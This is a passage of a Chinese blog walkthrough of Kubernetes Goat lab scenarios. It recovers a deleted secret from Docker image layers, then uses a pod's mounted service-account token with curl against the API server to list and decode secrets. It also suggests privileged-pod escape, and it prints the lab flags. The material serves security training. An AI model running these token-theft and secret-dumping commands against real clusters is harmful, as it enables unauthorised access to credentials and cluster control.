08000c18d16d: Loading layer [==================================================>]  8.121MB/8.121MB
5f70bf18a086: Loading layer [==================================================>]  1.024kB/1.024kB
63a4866f778c: Loading layer [==================================================>]  16.46MB/16.46MB
Loaded image: alpine/dfimage:latest

重新执行镜像的逆向分析:

dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers

可以看到分析出了潜在可能的secrets和近似的dockerfile:

Dockerfile:
CMD ["/bin/sh"]
LABEL MAINTAINER=Madhu Akula INFO=Kubernetes Goat
ADD secret.txt /root/secret.txt # buildkit
	root/
	root/secret.txt

RUN RUN echo "Contributed by Rewanth Cool" >> /root/contribution.txt  \
	&& rm -rf /root/secret.txt # buildkit
CMD ["sh" "-c" "tail -f /dev/null"]
  • 方法3:dive

Dive是一款用于查看docker 镜像层内容以及分析优化 docker/oci 镜像大小的工具

Dive的功能亮点有如下:

按层(Layer)显示Docker镜像:在左侧选择一个图层时,将显示该图层的内容以及右侧的所有先前图层。此外,还可以使用箭头键全面浏览文件树;

指出每一层的变化:文件树中指示已更改,修改,添加或删除的文件,可以对其进行调整以显示特定层的更改,或显示直到该层的汇总更改;

估算“镜像效率”:左下方的窗格显示基本图层信息和实验指标,该指标将猜测图像所包含的浪费空间(这可能是由于跨层复制文件,跨层移动文件或没有完全删除文件。提供百分比“得分”和总浪费文件空间);

快速构建/分析周期:可以构建一个Docker镜像并使用以下命令立即进行分析:dive build -t some-tag (只需要用docker build 相同的 dive build 命令替换命令即可)。

安装:

wget https://github.com/wagoodman/dive/releases/download/v0.13.1/dive_0.13.1_linux_amd64.deb
sudo apt install ./dive_0.13.1_linux_amd64.deb

分析镜像:

dive madhuakula/k8s-goat-hidden-in-layers

通过上面的分析我们可以看到有一些敏感文件。

/root/contributions.txt/root/secret.txt

但是上面的分析并不能让我们看到文件的具体内容。

3)提取敏感文件内容

  • 通过镜像构建容器
kubectl run hello --rm --restart=Never -it --image-pull-policy=Never --image=madhuakula/k8s-goat-hidden-in-layers -- sh

–image-pull-policy=Never 指定禁止去互联网拉取镜像。

/root目录下并没有secrets.txt,因为它已经从下一层中删除了。

我们可以使用docker内置的命令将docker镜像导出为tar文件,从而恢复/root/secret.txt文件。

  • 恢复敏感文件
docker save madhuakula/k8s-goat-hidden-in-layers -o hidden-in-layers.tar

分析tar包:

tar -xvf hidden-in-layers.tar

我们可以看到每一层都被导出为一个单独的tar文件。我们在这个景象中有3层,所以我们有3个tar文件。由于我们只有3层,很容易提取所有层并检查内容,但这不是传统的方法。如果我们有数百层呢?

让我们再次回顾一下dive的输出。在下图中,我们看到一个新文件/root/secret.txt正在被创建:

镜像层的id为:7ccfb1d6d82f07b0e31ca7708a6933fb7a3b02bc5d380ddf15ccc49b84a7eb20

所以我们定向分析这一层的文件即可。

cd 7ccfb1d6d82f07b0e31ca7708a6933fb7a3b02bc5d380ddf15ccc49b84a7eb20
tar -xvf layer.tar
cat root/secret.txt
  • flag
k8s-goat-3b7a7dc7f51f4014ddf3446c25f8b772

3.10 RBAC least privileges misconfiguration 🌟

RBAC配置错误导致特权升级以获得Kubernetes集群控制权。

3.10.1 场景介绍

在Kubernetes的早期,没有RBAC(基于角色的访问控制)这样的概念,它主要使用ABAC(基于属性的访问控制)。现在它基于RBAC来实现最小权限的安全原则。尽管如此,大多数实际工作负载和资源最终都拥有比预期更广泛的特权。在这个场景中,我们将看到像这样的简单错误配置是如何导致攻击者可以获得对secrets、更多资源和敏感信息的访问权的。

在现实世界中,我们经常看到开发人员和DevOps团队倾向于提供超出角色要求的额外权限。这为攻击者提供了比预期更多的控制和特权。在此场景中,攻击者可以利用绑定到pod的服务帐户来获得对webhookapikey访问,攻击者可以获得对其他更多秘密和资源的控制。

实践目的:

  • 使用REST API访问Kubernetes API Server并与之通信。
  • 使用不同的Kubernetes资源并查询它们。
  • 利用错误配置的/过于宽松的权限来访问敏感信息和资源。

3.10.2 场景访问

http://192.168.52.13:1236/

目标:通过利用RBAC特权获得对Kubernetes secret k8svaultapikey的访问权限来获得k8s_goat_flag。

hint:

pod服务账户的信息存储在:**/var/run/secrets/kubernetes.io/serviceaccount/**下。

3.10.3 场景实践

场景中的deployment有一个自定义ServiceAccount,它映射了一个过于宽松的策略/特权。作为攻击者,我们可以利用这一点来访问其他资源和服务。

1)获取pod中的令牌和服务账户信息

默认情况下,Kubernetes将所有令牌和服务账户信息存储在默认位置。

/var/run/secrets/kubernetes.io/serviceaccount/ 是 Kubernetes 集群中 Pod 访问 Kubernetes API 的身份凭证默认挂载路径,其核心作用是为 Pod 提供身份认证和权限控制所需的关键文件。

当 Pod 启动时,Kubernetes 会 自动挂载 以下文件到该路径(若未显式禁用):

文件 作用
ca.crt 集群的根证书,用于验证 Kubernetes API Server 的 TLS 证书合法性。
namespace 明文记录当前 Pod 所在的命名空间(如 default)。
token Service Account 的 JWT 令牌,用于 Pod 向 API Server 认证身份。
cd /var/run/secrets/kubernetes.io/serviceaccount/
ls -larth

2)访问apiserver

现在我们可以使用这些凭证信息来查询Kubernetes API服务,并使用可用的权限和特权进行通信。

可以设置一些环境变量方便操作。

export APISERVER=https://${KUBERNETES_SERVICE_HOST}
export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
export TOKEN=$(cat ${SERVICEACCOUNT}/token)
export CACERT=${SERVICEACCOUNT}/ca.crt

现在我们可以使用令牌和构造的查询来探索Kubernetes API:

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api

命令解析:

该命令用于 通过 HTTPS 安全访问 Kubernetes API 服务器,并进行身份认证和权限验证。

参数/组件 作用
curl 发起 HTTP 请求的命令行工具。
--cacert ${CACERT} 指定 CA 证书路径,用于验证 API 服务器的 TLS 证书合法性。
--header "Authorization: Bearer ${TOKEN}" 添加认证头,使用 Bearer Token 认证方式,${TOKEN} 是 JWT 令牌。
-X GET 指定 HTTP 方法为 GET(获取资源)。
${APISERVER}/api 目标 API 地址,通常为 Kubernetes API 服务器(如 https://kubernetes.default.svc)。

3)获取默认命名空间中的secrets

命名空间(Namespace)中的 Secrets 是一种用于 安全存储和管理敏感信息(如密码、API 密钥、TLS 证书等)的资源对象。

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/secrets

可以看到没有得到授权。

4)获取当前命名空间中的secrets

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets

5)访问pods

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/pods

从这里你可以尝试利用所有可能的Kubernetes操作。因为Kubernetes本身作为API服务来创建和删除pods等。

【可以尝试创建一些有特权逃逸漏洞的pod,实现逃逸,获取节点权限。】

【有时候如果服务账户的token权限比较高,甚至可以获得k8s集群的最高控制权。】

6)从secrets中获取k8svaulapikey的值

curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces/${NAMESPACE}/secrets | grep k8svaultapikey 
echo "azhzLWdvYXQtODUwNTc4NDZhODA0NmEyNWIzNWYzOGYzYTI2NDlkY2U=" | base64 -d

7)flag

k8s-goat-85057846a8046a25b35f38f3a2649dce

文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录